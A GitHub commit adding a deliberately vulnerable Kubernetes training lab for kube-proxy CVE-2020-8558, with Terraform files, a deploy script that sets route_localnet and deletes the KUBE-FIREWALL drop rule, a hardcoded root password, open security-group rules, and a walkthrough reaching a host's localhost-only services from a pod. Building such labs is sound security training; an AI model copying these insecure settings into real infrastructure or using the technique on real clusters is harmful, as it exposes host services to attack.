Skip to content

Commit 980922b

Browse files
leverydleveryd
authored
Merge pull request #95 from leveryd/main
feat: add kube-proxy CVE-2020-8558 scenario
2 parents 604c39b + 5d49b91 commit 980922b

File tree

8 files changed

+339
-0
lines changed

8 files changed

+339
-0
lines changed

‎kubernetes/kube-proxy/CVE-2020-8558/README.md‎

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
# kube-proxy CVE-2020-8558 Vulnerable Environment
2+
3+
English | [中文](./README_CN.md)
4+
5+
## Description
6+
7+
This is a scenario used to build the kube-proxy "CVE-2020-8558" vulnerability environment.
8+
9+
After building the environment with Terraform, users in pod can access host's services which is bind on only "127.0.0.1" address.
10+
11+
## Deployment Environment
12+
13+
Execute the following command in the container
14+
15+
```shell
16+
cd /TerraformGoat/kubernetes/kubelet/log-mount
17+
```
18+
19+
Configure Alibaba Cloud Access Credentials
20+
21+
```shell
22+
export ALICLOUD_ACCESS_KEY="LTAI5tFkmNGXXXXXXXXX"
23+
export ALICLOUD_SECRET_KEY="ORBs2lulAHDXXXXXXXXX"
24+
export ALICLOUD_REGION="cn-hongkong"
25+
```
26+
27+
> You can create and view your AccessKey on the [AccessKey page](https://ram.console.aliyun.com/manage/ak) of the Alibaba Cloud console
28+
29+
Deploy Vulnerable Environment
30+
31+
```shell
32+
terraform init
33+
terraform apply
34+
```
35+
36+
> When the terminal prompts `Enter a value:`, enter `yes`
37+
38+
![img](../../../images/20220622-174141.jpg)
39+
40+
After the environment is set up, You can see the kubelet api access address of the scenario at Outputs.
41+
42+
## Vulnerability Utilization
43+
44+
first, we need to log in node host via ssh, the default password is "Huoxian@123"
45+
46+
```shell
47+
➜ ~ ssh [email protected] // 8.210.237.96 is node ip, you need replace it with what is in above "Outputs"
48+
```
49+
50+
then, we can log in pod which have been created
51+
52+
```shell
53+
root@iZj6ce4bmwc11otulk7i3rZ:~# kubectl exec -ti test-pod -- sh // test-pod is pod name
54+
sh-4.2#
55+
```
56+
57+
now, we can access host's services which is bind on only "127.0.0.1" address.
58+
59+
```shell
60+
root@iZj6ce4bmwc11otulk7i3rZ:~# netstat -antp|grep 127.0.0.1
61+
tcp 0 0 127.0.0.1:37953 0.0.0.0:* LISTEN 2551/containerd
62+
tcp 0 0 127.0.0.1:41351 0.0.0.0:* LISTEN 15900/kubelet
63+
tcp 0 0 127.0.0.1:10248 0.0.0.0:* LISTEN 15900/kubelet
64+
...
65+
```
66+
67+
for example，we can access host's kubelet metrics service in pod.
68+
69+
```shell
70+
sh-4.2# curl 127.0.0.1:10249/metrics --interface eth0
71+
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
72+
# TYPE apiserver_audit_event_total counter
73+
apiserver_audit_event_total 0
74+
...
75+
```
76+
77+
## Destroy the environment
78+
79+
```shell
80+
terraform destroy
81+
```

‎kubernetes/kube-proxy/CVE-2020-8558/README_CN.md‎

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
# kube-proxy CVE-2020-8558漏洞环境
2+
3+
[English](./README.md) | 中文
4+
5+
## 描述信息
6+
7+
这是一个用于构建kubernetes kube-proxy组件CVE-2020-8558漏洞的靶场。
8+
9+
使用 terraform 构建环境后，用户在容器可以通过 kubelet组件CVE-2020-8558漏洞 访问到宿主机只绑定在127.0.0.1的服务。
10+
11+
## 环境搭建
12+
13+
在容器中执行以下命令
14+
15+
```shell
16+
cd /TerraformGoat/kubernetes/kube-proxy/CVE-2020-8558
17+
```
18+
19+
配置阿里云访问凭证
20+
21+
```shell
22+
export ALICLOUD_ACCESS_KEY="LTAI5tFkmNGXXXXXXXXX"
23+
export ALICLOUD_SECRET_KEY="ORBs2lulAHDXXXXXXXXX"
24+
export ALICLOUD_REGION="cn-hongkong"
25+
```
26+
27+
> 在阿里云控制台的 [AccessKey 页面](https://ram.console.aliyun.com/manage/ak) 可以创建和查看您的 AccessKey
28+
29+
部署靶场
30+
31+
```shell
32+
terraform init
33+
terraform apply
34+
```
35+
36+
> 在终端提示 `Enter a value:` 时，输入 `yes` 即可
37+
38+
![img](../../../images/20220622-174141.jpg)
39+
40+
环境搭建完后，在 Outputs 处可以看到节点的访问地址。
41+
42+
## 漏洞利用
43+
44+
首先，我们先登陆到节点机器上，密码默认是 Huoxian@123
45+
46+
```shell
47+
➜ ~ ssh [email protected] // 8.210.237.96 是节点的访问地址，你需要替换成 Outputs 中的地址。
48+
```
49+
50+
然后进入到已经创建好的pod shell环境
51+
52+
```shell
53+
root@iZj6ce4bmwc11otulk7i3rZ:~# kubectl exec -ti test-pod -- sh // test-pod 是pod名
54+
sh-4.2#
55+
```
56+
57+
下面就可以在pod中尝试访问宿主机上监听在 127.0.0.1 的服务了
58+
59+
```shell
60+
root@iZj6ce4bmwc11otulk7i3rZ:~# netstat -antp|grep 127.0.0.1
61+
tcp 0 0 127.0.0.1:37953 0.0.0.0:* LISTEN 2551/containerd
62+
tcp 0 0 127.0.0.1:41351 0.0.0.0:* LISTEN 15900/kubelet
63+
tcp 0 0 127.0.0.1:10248 0.0.0.0:* LISTEN 15900/kubelet
64+
...
65+
```
66+
67+
比如，在pod可以访问到宿主机上的kubelet metrics服务
68+
69+
```shell
70+
sh-4.2# curl 127.0.0.1:10249/metrics --interface eth0
71+
# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend.
72+
# TYPE apiserver_audit_event_total counter
73+
apiserver_audit_event_total 0
74+
...
75+
```
76+
77+
## 销毁环境
78+
79+
```shell
80+
terraform destroy
81+
```

‎kubernetes/kube-proxy/CVE-2020-8558/main.tf‎

Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
resource "alicloud_instance" "instance" {
2+
security_groups = alicloud_security_group.group.*.id
3+
instance_type = data.alicloud_instance_types.types_ds.instance_types.0.id
4+
image_id = "ubuntu_18_04_64_20G_alibase_20190624.vhd"
5+
instance_name = "huocorp_terraform_goat_instance"
6+
vswitch_id = alicloud_vswitch.vswitch.id
7+
system_disk_size = 20
8+
internet_max_bandwidth_out = 100
9+
password = "Huoxian@123" // 虚拟机密码
10+
11+
provisioner "file" {
12+
connection {
13+
type = "ssh"
14+
host = self.public_ip
15+
user = "root"
16+
password = "Huoxian@123"
17+
timeout = "1h"
18+
}
19+
20+
source = "resource/kk"
21+
destination = "/root/kk" // deploy_k8s.sh用来安装k8s
22+
}
23+
24+
provisioner "file" {
25+
connection {
26+
type = "ssh"
27+
host = self.public_ip
28+
user = "root"
29+
password = "Huoxian@123"
30+
timeout = "1h"
31+
}
32+
33+
source = "resource/pod.yaml"
34+
destination = "/root/pod.yaml"
35+
}
36+
37+
provisioner "remote-exec" {
38+
connection {
39+
type = "ssh"
40+
host = self.public_ip
41+
user = "root"
42+
password = "Huoxian@123"
43+
timeout = "1h"
44+
}
45+
script = "resource/deploy_k8s.sh"
46+
}
47+
48+
depends_on = [
49+
alicloud_security_group.group,
50+
alicloud_vswitch.vswitch,
51+
]
52+
}
53+
54+
resource "alicloud_security_group" "group" {
55+
name = "huocorp_terraform_goat_security_group"
56+
vpc_id = alicloud_vpc.vpc.id
57+
depends_on = [
58+
alicloud_vpc.vpc
59+
]
60+
}
61+
62+
resource "alicloud_security_group_rule" "allow_all_tcp" {
63+
type = "ingress"
64+
ip_protocol = "tcp"
65+
nic_type = "intranet"
66+
policy = "accept"
67+
port_range = "1/65535" // 允许访问所有端口
68+
priority = 1
69+
security_group_id = alicloud_security_group.group.id
70+
cidr_ip = "0.0.0.0/0"
71+
depends_on = [
72+
alicloud_security_group.group
73+
]
74+
}
75+
76+
resource "alicloud_vpc" "vpc" {
77+
vpc_name = "huocorp_terraform_goat_vpc"
78+
cidr_block = "172.16.0.0/16"
79+
}
80+
81+
resource "alicloud_vswitch" "vswitch" {
82+
vpc_id = alicloud_vpc.vpc.id
83+
cidr_block = "172.16.0.0/24"
84+
zone_id = "cn-hongkong-b" // https://www.alibabacloud.com/help/en/virtual-private-cloud/latest/describeregions
85+
vswitch_name = "huocorp_terraform_goat_vswitch"
86+
depends_on = [
87+
alicloud_vpc.vpc
88+
]
89+
}
90+
91+
// kubekey安装k8s集群，配置要求至少 2核4g
92+
data "alicloud_instance_types" "types_ds" {
93+
cpu_core_count = 2
94+
memory_size = 4
95+
}

‎kubernetes/kube-proxy/CVE-2020-8558/outputs.tf‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
output "kubelet_log-mount_lab_address_link" {
2+
value = "ssh root@${alicloud_instance.instance.public_ip}"
3+
description = "kube-proxy 'CVE-2020-8558' lab address link."
4+
}

‎kubernetes/kube-proxy/CVE-2020-8558/resource/deploy_k8s.sh‎

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
#!/bin/bash
2+
function deploy_k8s(){
3+
export KKZONE=cn
4+
5+
# /root/kk 已经通过terrraform provisioner拷贝主机
6+
chmod 755 /root/kk
7+
8+
apt-get update -y
9+
apt-get install -y conntrack ebtables socat
10+
11+
/root/kk create cluster --with-kubernetes v1.21.5 -y
12+
}
13+
14+
#
15+
function deploy_vulnerable_env(){
16+
17+
kubectl_bin_path=/usr/local/bin/kubectl
18+
kubelet_arg_path=/var/lib/kubelet/kubeadm-flags.env
19+
yaml_path=/root/pod.yaml
20+
21+
# 使用docker网络
22+
sed -i 's/--network-plugin=cni//' $kubelet_arg_path
23+
service kubelet restart
24+
sleep 60
25+
echo '[done] "kubelet" restart'
26+
27+
# 模拟漏洞
28+
sysctl -w net.ipv4.conf.all.route_localnet=1
29+
sysctl -w net.ipv4.conf.default.route_localnet=1
30+
sysctl -w net.ipv4.conf.docker0.route_localnet=1
31+
32+
sysctl -w net.ipv4.conf.all.accept_local=1
33+
sysctl -w net.ipv4.conf.default.accept_local=1
34+
sysctl -w net.ipv4.conf.docker0.accept_local=1
35+
36+
nsenter -n -t 1 iptables -D KUBE-FIREWALL 2 # -A KUBE-FIREWALL ! -s 127.0.0.0/8 -d 127.0.0.0/8 -m comment --comment "block incoming localnet connections" -m conntrack ! --ctstate RELATED,ESTABLISHED,DNAT -j DROP
37+
38+
# 宿主机上有部分服务在 127.0.0.1 监听
39+
# root@iZj6ce4bmwc11otulk7i3rZ:~# netstat -antp|grep 127.0.0.1
40+
# tcp 0 0 127.0.0.1:37953 0.0.0.0:* LISTEN 2551/containerd
41+
# tcp 0 0 127.0.0.1:41351 0.0.0.0:* LISTEN 15900/kubelet
42+
# tcp 0 0 127.0.0.1:10248 0.0.0.0:* LISTEN 15900/kubelet
43+
44+
# 部署恶意pod
45+
$kubectl_bin_path apply -f $yaml_path
46+
sleep 60
47+
echo '[done] "test-pod" create'
48+
}
49+
50+
deploy_k8s
51+
echo "[done] 'k8s cluster' deploy" && sleep 60
52+
deploy_vulnerable_env

‎kubernetes/kube-proxy/CVE-2020-8558/resource/kk‎

51.3 MB
Binary file not shown.

‎kubernetes/kube-proxy/CVE-2020-8558/resource/pod.yaml‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
apiVersion: v1
2+
kind: Pod
3+
metadata:
4+
name: test-pod
5+
spec:
6+
tolerations:
7+
- key: "node-role.kubernetes.io/master"
8+
operator: "Exists"
9+
containers:
10+
- name: test-pod
11+
image: registry.cn-hangzhou.aliyuncs.com/tscuite/bachang:webgoat-v1
12+
command: [sh, -c, "tail -f /dev/null"]
13+
imagePullPolicy: IfNotPresent

‎kubernetes/kube-proxy/CVE-2020-8558/versions.tf‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
terraform {
2+
required_providers {
3+
alicloud = {
4+
source = "aliyun/alicloud"
5+
version = "1.163.0"
6+
}
7+
}
8+
}
9+
10+
provider "alicloud" {
11+
profile = "default"
12+
region = "cn-hongkong" // https://help.aliyun.com/document_detail/40654.html
13+
}

0 commit comments

Comments
 (0)